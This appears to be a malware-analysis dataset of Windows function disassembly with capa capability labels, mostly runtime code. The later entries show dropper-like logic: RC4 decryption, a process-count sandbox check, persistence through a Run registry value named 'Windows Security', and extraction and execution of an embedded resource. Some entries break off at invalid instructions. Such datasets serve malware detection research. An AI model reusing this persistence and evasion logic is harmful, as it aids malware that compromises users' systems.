joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400406b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x70
lea rbp, [rsp + 0x70]
test rcx, rcx
jne 0x140040792
mov ecx, dword [0x14007c150]
test ecx, ecx
je 0x1400407ca
dec ecx
mov edx, 1
call sub.KERNEL32.dll_TlsSetValue
mov ecx, dword [0x14007c130]
test ecx, ecx
je 0x1400407dd
dec ecx
call sub.KERNEL32.dll_TlsGetValue
mov rdi, rax
test rax, rax
je 0x140040785
movzx eax, byte [0x14007c158]
mov ecx, 0x30
call fcn.140050b40
test rax, rax
je 0x140040807
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x18], 0
mov qword [rax + 0x10], rdi
mov byte [rax + 0x28], 0
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x38], rax
mov rax, qword [0x14007f038]
lock inc qword [rsi]
jle 0x140040864
mov ecx, dword [0x14007c150]
test ecx, ecx
je 0x1400407f0
dec ecx
add rsi, 0x10
mov rdx, rsi
call sub.KERNEL32.dll_TlsSetValue
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
call fcn.14003fbb0
mov rdi, rax
jmp 0x140040700
cmp rcx, 1
je 0x140040816
lea rax, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x30], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
lea rdx, str.library_std_src_threadcurrent.rs
lea rcx, [rbp - 0x40]
call fcn.140009490
lea rcx, [0x14007c138]
call fcn.14001bdd0
mov ecx, eax
jmp 0x1400406d5
lea rcx, [0x14007c118]
call fcn.14001bdd0
mov ecx, eax
jmp 0x1400406ef
lea rdi, [rbp - 0x38]
lea rcx, [0x14007c138]
call fcn.14001bdd0
mov ecx, eax
jmp 0x140040769
mov ecx, 8
mov edx, 0x30
call fcn.1400086f9
mov dword [rbp - 0x10], 0
mov byte [rbp - 0xc], 0
lea rax, str.fatal_runtime_error:__nAttempted_to_access_thread_local_data_while_allocating_said_data._nDo_not_access_functions_that_allocate_in_the_global_allocator__nThis_is_a_bug_in_the_global_allocator._n_n
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rax, [rbp - 8]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x40]
call fcn.14001bb40
mov qword [rbp - 0x48], rax
lea rcx, [rbp - 0x48]
call fcn.14001bc50
mov ecx, 7
int 0x29
ud2
Function at 0x140040940
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov rdi, rcx
mov esi, dword [0x140062760]
test esi, esi
je 0x1400409e5
dec esi
mov ecx, esi
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 1
ja 0x1400409dc
je 0x140040989
test rdi, rdi
je 0x14004098d
mov rbx, qword [rdi]
mov qword [rdi], 0
test rbx, rbx
je 0x14004098f
mov rbx, qword [rdi + 8]
jmp 0x14004098f
xor eax, eax
jmp 0x1400409dc
xor ebx, ebx
mov qword [rbp - 8], rbx
mov dword [rbp], esi
movzx eax, byte [0x14007c158]
mov ecx, 0x10
call fcn.140050b40
test rax, rax
je 0x1400409f8
mov qword [rax], rbx
mov dword [rax + 8], esi
mov ecx, esi
mov rbx, rax
call sub.KERNEL32.dll_TlsGetValue
mov rdi, rax
mov ecx, esi
mov rsi, rbx
mov rdx, rbx
call sub.KERNEL32.dll_TlsSetValue
test rdi, rdi
je 0x1400409d9
mov rcx, rdi
call fcn.14003f290
mov rax, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x140062748]
call fcn.14001bdd0
mov esi, eax
jmp 0x140040960
mov ecx, 8
mov edx, 0x10
call fcn.1400086f9
ud2

Function at 0x140041da0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov rsi, r9
mov rdi, r8
mov qword [rbp - 8], rdx
mov qword [rbp], rcx
add rsi, r8
mov qword [rbp - 0x30], r8
mov qword [rbp - 0x28], rsi
mov byte [rbp - 0x20], 0x81

Function at 0x1400421b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
invalid
mov rbx, rdx
mov qword [rbp - 0x20], rcx
movzx eax, byte [rdx + 0x18]
mov byte [rbp + 7], al
mov byte [rdx + 0x18], 0
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x18], 0

Function at 0x140042670
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x140071580]
movaps xmmword [rbp], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x20
add byte [rax], al
invalid

Function at 0x140044580
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov rdi, rcx
lea rax, str.stdoutlibrary_std_srciomod.rs
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 6
mov eax, dword [0x14007c0c0]
cmp eax, 3
jne 0x14004470d
mov ecx, dword [0x14007c130]
test ecx, ecx
je 0x140044735
dec ecx
call fcn.140043f71
jmp 0x1400445bc
invalid
invalid
invalid
lea rcx, [0x14007c118]
call fcn.14001bdd0
mov ecx, eax
Function at 0x14004be20
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov rsi, rcx
movabs r15, 0x8000000000000000
lea rcx, [rbp - 0x28]
call fcn.14003a9c0
mov rax, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x20]
mov rcx, rax
neg rcx
jo 0x14004be81
mov rcx, qword [rbp - 0x18]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], rcx
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x40]
call fcn.14004bd30
mov rdi, qword [rbp - 0x10]
mov rbx, qword [rbp - 8]
cmp rdi, r15
jne 0x14004bed4
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x14004bec4
lea rdi, [rbx - 1]
mov r14, qword [rbx - 1]
mov rbx, qword [rbx + 7]
mov rax, qword [rbx]
test rax, rax
je 0x14004bea4
mov rcx, r14
call rax
cmp qword [rbx + 8], 0
je 0x14004beb7
mov rdx, qword [rbx + 0x10]
mov rcx, r14
call fcn.140008f20
mov edx, 8
mov rcx, rdi
call fcn.140008f20
mov qword [rsi], r15
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov r14, qword [rbp]
mov rcx, rbx
call sub.KERNEL32.dll_GetFileAttributesW
cmp eax, 0xffffffff
je 0x14004bef2
mov qword [rsi], rdi
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r14
jmp 0x14004bec7
mov qword [rsi], r15
test rdi, rdi
je 0x14004bec7
mov edx, 2
mov rcx, rbx
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
jmp fcn.140008f20
Function at 0x14004e390
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1078
call fcn.14005ef78
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xfe0], xmm6
mov rsi, rdx
mov rdi, rcx
lea rcx, [rbp - 0x50]
mov r8d, 0x1000
xor edx, edx
call sub.msvcrt.dll_memset
xorps xmm6, xmm6
lea r13, [rbp + 0xfd4]
lea rbx, [0x140044f90]
lea r14, [rbp + 0xfb0]
mov dword [rbp + 0xfd4], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r13
mov qword [rsp + 0x20], rbx
mov rcx, rdi
lea rdx, [rbp - 0x50]
mov r8d, 0x1000
mov r9, r14
call sub.KERNEL32.dll_ReadFileEx
test eax, eax
je 0x14004e470
nop dword [rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call sub.KERNEL32.dll_SleepEx
cmp dword [rbp + 0xfd4], 1
jne 0x14004e430
mov eax, dword [rbp + 0xfd8]
mov r15d, dword [rbp + 0xfdc]
mov rcx, rax
shl rcx, 0x20
or rcx, 2
test eax, eax
cmovne r15, rcx
jne 0x14004e483
jmp 0x14004e4c6
call sub.KERNEL32.dll_GetLastError
mov r15d, eax
shl r15, 0x20
or r15, 2
mov rcx, r15
mov eax, ecx
and eax, 3
shr rcx, 0x20
cmp eax, 2
jne 0x14004e4b0
call fcn.1400410e0
cmp al, 0xb
mov eax, 0
cmove r15, rax
je 0x14004e4c6
jmp 0x14004e594
cmp rcx, 0xb
mov eax, 0
cmove r15, rax
cmp ecx, 0xb
jne 0x14004e594
test r15, r15
je 0x14004e569
cmp r15, 0x1000
ja 0x14004e5ee
xor r12d, r12d
nop
cmp r15, r12
jb 0x14004e5da
mov r8d, r15d
sub r8d, r12d
lea rdx, [r12 + rbp]
add rdx, 0xffffffffffffffb0
mov dword [rbp + 0xfd4], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r13
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov r9, r14
call sub.KERNEL32.dll_WriteFileEx
test eax, eax
je 0x14004e564
nop
mov ecx, 0xffffffff
mov edx, 1
call sub.KERNEL32.dll_SleepEx
cmp dword [rbp + 0xfd4], 1
jne 0x14004e530
cmp dword [rbp + 0xfd8], 0
jne 0x14004e569
mov eax, dword [rbp + 0xfdc]
add r12, rax
cmp r12, r15
jne 0x14004e4e0
jmp 0x14004e3e7
call sub.KERNEL32.dll_GetLastError
mov rcx, rdi
call fcn.14005d768
mov rcx, rsi
call fcn.14005d768
movaps xmm6, xmmword [rbp + 0xfe0]
add rsp, 0x1078
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x14004e569
lea rbx, [r15 - 1]
mov r12, qword [r15 - 1]
mov r15, qword [r15 + 7]
mov rax, qword [r15]
test rax, rax
je 0x14004e5b8
mov rcx, r12
call rax
cmp qword [r15 + 8], 0
je 0x14004e5cb
mov rdx, qword [r15 + 0x10]
mov rcx, r12
call fcn.140008f20
mov edx, 8
mov rcx, rbx
call fcn.140008f20
jmp 0x14004e569
lea r8, str.library_std_src_syspalwindowspipe.rs
mov rcx, r12
mov rdx, r15
call fcn.14000c050
jmp 0x14004e602
lea r8, str.library_std_src_syspalwindowspipe.rs
mov edx, 0x1000
mov rcx, r15
call fcn.140009f50
ud2
Function at 0x140050930
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov rdi, rdx
cmp qword [rdx], 0
jne 0x140050a22
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov r8, qword [rbx]
mov rdx, qword [rbx + 0x10]
cmp r8, rdx
je 0x1400509e8
sub r8, rdx
add rdx, qword [rbx + 8]
mov rax, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp r8, rcx
cmovae r8, rcx
mov dword [rbp - 0x28], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x28]
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x1400509a4
mov eax, dword [rbp - 0x28]
mov ecx, 2
test rax, rax
jne 0x1400509ba
jmp 0x1400509c7
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x6d
je 0x1400509c7
cmp eax, 0x3e5
jne 0x1400509d8
mov ecx, 1
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
jmp 0x1400509cb
mov byte [rsi + 1], 0
xor eax, eax
mov byte [rsi], al
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov al, 1
jmp 0x1400509cd
test r8, r8
mov ecx, 0x10
mov eax, 1
cmove rax, rcx
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rbx
mov rdx, r8
mov r8, rax
call fcn.14001c5b0
mov r8, qword [rbx]
mov rdx, qword [rbx + 0x10]
jmp 0x140050961
mov qword [rbp - 0x28], 0
lea rdx, [rbp - 0x28]
mov rcx, rdi
call fcn.14003f51d
int3
Function at 0x14005e170
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14005ef10
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14005ef10
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14005e1e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14007c1e4]
mov rbx, rcx
test esi, esi
jle 0x14005e310
mov rax, qword [0x14007c1e8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14005e22b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14005e2b5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14005e210
mov rcx, rbx
call fcn.14005ec30
mov rdi, rax
test rax, rax
je 0x14005e332
mov rax, qword [0x14007c1e8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14005ed70
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14007c1e8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14005e317
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14005e2ae
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14005e2c0
add dword [0x14007c1e4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14007c1e8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14005e2ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14005e170
nop dword [rax]
xor esi, esi
jmp 0x14005e238
mov rax, qword [0x14007c1e8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14005e170
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14005e170
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14005e8a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14007c240]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14007c220]
test rbx, rbx
je 0x14005e8fc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14005e8f3
test rsi, rsi
je 0x14005e8f3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14005e8d8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14005ec30
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140073e90]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14005ec50
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14005ec58
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14005ec50
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14005ecad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14005eca4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14005ec50
add rax, 0x28
cmp rax, r9
jne 0x14005ec90
xor eax, eax
ret

Function at 0x14005ecb0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140073e90]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14005eccf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14005ecd8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14005eccf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14005ed70
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140073e90]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14005ed8f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14005ed98
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x230
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rbp, r8
mov r15d, edx
mov r14, rcx
mov esi, 0x100
xor edi, edi
lea rcx, [rsp + 0x120]
mov r8d, esi
xor edx, edx
mov ebx, edi
call fcn.140002800
mov r8d, esi
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.140002800
mov ecx, edi
mov edx, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, ecx
mov byte [rsp + rdx + 0x20], cl
and eax, 0x7f
lea rdx, [rdx + 1]
inc ecx
movzx eax, byte [rax + rbp]
mov byte [rsp + rdx + 0x11f], al
cmp ecx, esi
jl 0x140001070
mov rdx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x120]
movzx r8d, byte [rsp + rdx + 0x20]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400010c5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x20], al
inc rdx
mov byte [rcx], r8b
sub rsi, 1
jne 0x1400010a0
mov edx, edi
test r15d, r15d
je 0x140001156
mov r10, r15
nop dword [rax]
lea eax, [rdi + 1]
and eax, 0x800000ff
jge 0x140001103
dec eax
or eax, 0xffffff00
inc eax
movsxd rdi, eax
lea r8, [rsp + 0x20]
movzx r9d, byte [r8 + rdi]
add edx, r9d
and edx, 0x800000ff
jge 0x140001125
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8 + rdi], al
mov byte [rcx], r9b
movzx ecx, byte [r8 + rdi]
add rcx, r9
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x20]
xor byte [r14], cl
inc r14
sub r10, 1
jne 0x1400010f0
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140001710
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140001190
Capabilities:
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001221
xor edx, edx
mov qword [rsp + 0x280], rbx
mov r8d, 0x234
mov dword [rsp + 0x20], 0x238
lea rcx, [rsp + 0x24]
call fcn.140002800
lea rdx, [rsp + 0x20]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000123a
nop word [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001200
cmp ebx, 0x28
jle 0x14000123a
mov rbx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001710
add rsp, 0x270
pop rdi
ret
mov ecx, 1
call fcn.140003354
int3
Function at 0x140001250
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x158
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x100
call fcn.140002800
mov r8d, 0x100
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400012f1
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400012b4
mov rcx, qword [rsp + 0x30]
lea rdx, str.Windows_Security
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001710
add rsp, 0x158
ret

Function at 0x140001310
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, rdx
xor ecx, ecx
mov edx, 0x64
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000145f
mov rdx, rbx
mov qword [rsp + 0xd0], rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test eax, eax
je 0x140001378
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x14000137f
xor eax, eax
jmp 0x140001457
mov rcx, rax
mov qword [rsp + 0xe0], rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x14000144f
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movups xmm2, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x40], xmm1
movq rbx, xmm2
movups xmm1, xmmword [rax + 0x40]
shr rbx, 0x20
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [rax + 0x60]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0x80], xmm1
movsd xmm1, qword [rax + 0x80]
movd eax, xmm2
movaps xmmword [rsp + 0x20], xmm2
movaps xmmword [rsp + 0x90], xmm0
movsd qword [rsp + 0xa0], xmm1
test eax, eax
je 0x140001410
call fcn.140001190
test ebx, ebx
je 0x140001419
call fcn.140001250
lea eax, [rbp - 0x88]
mov ecx, eax
mov dword [rsi], eax
call fcn.140001734
mov r8d, dword [rsi]
lea rdx, [rdi + 0x88]
mov rcx, rax
mov rbx, rax
call fcn.14000b080
mov edx, dword [rsi]
lea r8, [rsp + 0x28]
mov rcx, rbx
call section..text
mov rax, rbx
mov rdi, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140001710
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rsi
ret
Function at 0x140003354
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140003128
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003128
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003128
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003128
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003128
cmp dword [rcx + 0x84], 0xe
jbe 0x140003128
cmp dword [rcx + 0xf8], esi
je 0x140003128
mov ecx, r14d
call fcn.140003270
mov ecx, 2
call fcn.140004840
nop
cmp byte [0x140016130], 0
jne 0x1400031f2
mov r15d, 1
mov eax, r15d
xchg dword [0x140016120], eax
test ebx, ebx
jne 0x14000319b
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140016128]
cmp rcx, rax
je 0x140003192
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140002ba4]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140016388]
jmp 0x1400031a7
cmp ebx, r15d
jne 0x1400031ad
lea rcx, [0x1400163a0]
call fcn.1400043d4
nop
test ebx, ebx
jne 0x1400031c4
lea rdx, [0x14000c308]
lea rcx, [0x14000c2e8]
call fcn.140003d88
lea rdx, [0x14000c318]
lea rcx, [0x14000c310]
call fcn.140003d88
movzx eax, byte [0x140016130]
test esi, esi
cmove eax, r15d
mov byte [0x140016130], al
jmp 0x1400031f2
mov ecx, 2
call fcn.140004894
test esi, esi
jne 0x140003209
mov ecx, r14d
call fcn.140003224
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400030b8